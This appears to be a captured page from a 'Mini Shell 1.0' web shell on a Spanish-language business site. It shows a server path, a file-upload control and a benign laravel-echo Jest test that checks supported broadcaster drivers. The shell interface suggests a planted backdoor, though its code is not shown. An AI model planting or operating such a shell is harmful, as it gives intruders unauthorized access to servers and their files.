HOME


Mini Shell 1.0
Negocios La Pieza.DO | Registrate o Inicia Sesión

¡Página no encontrada!

La página que busca no se encuentra en nuestro servidor.

Volver al inicio
DIR: /var/www/devs.lapieza.net/node_modules/laravel-echo/tests/
Upload File :
Current File : /var/www/devs.lapieza.net/node_modules/laravel-echo/tests/echo.test.ts
import Echo from '../src/echo';

describe('Echo', () => {
    test('it will not throw error for supported driver', () => {
        expect(() => new Echo({ broadcaster: 'reverb' })).not.toThrowError(
            'Broadcaster string reverb is not supported.'
        );

        expect(() => new Echo({ broadcaster: 'pusher' })).not.toThrowError(
            'Broadcaster string pusher is not supported.'
        );

        expect(() => new Echo({ broadcaster: 'socket.io' })).not.toThrowError(
            'Broadcaster string socket.io is not supported.'
        );

        expect(() => new Echo({ broadcaster: 'null' })).not.toThrowError('Broadcaster string null is not supported.');

        // eslint-disable-next-line @typescript-eslint/no-empty-function
        expect(() => new Echo({ broadcaster: () => {} })).not.toThrowError('Broadcaster function is not supported.');
    });

    test('it will throw error for unsupported driver', () => {
        expect(() => new Echo({ broadcaster: 'foo' })).toThrowError('Broadcaster string foo is not supported.');
    });
});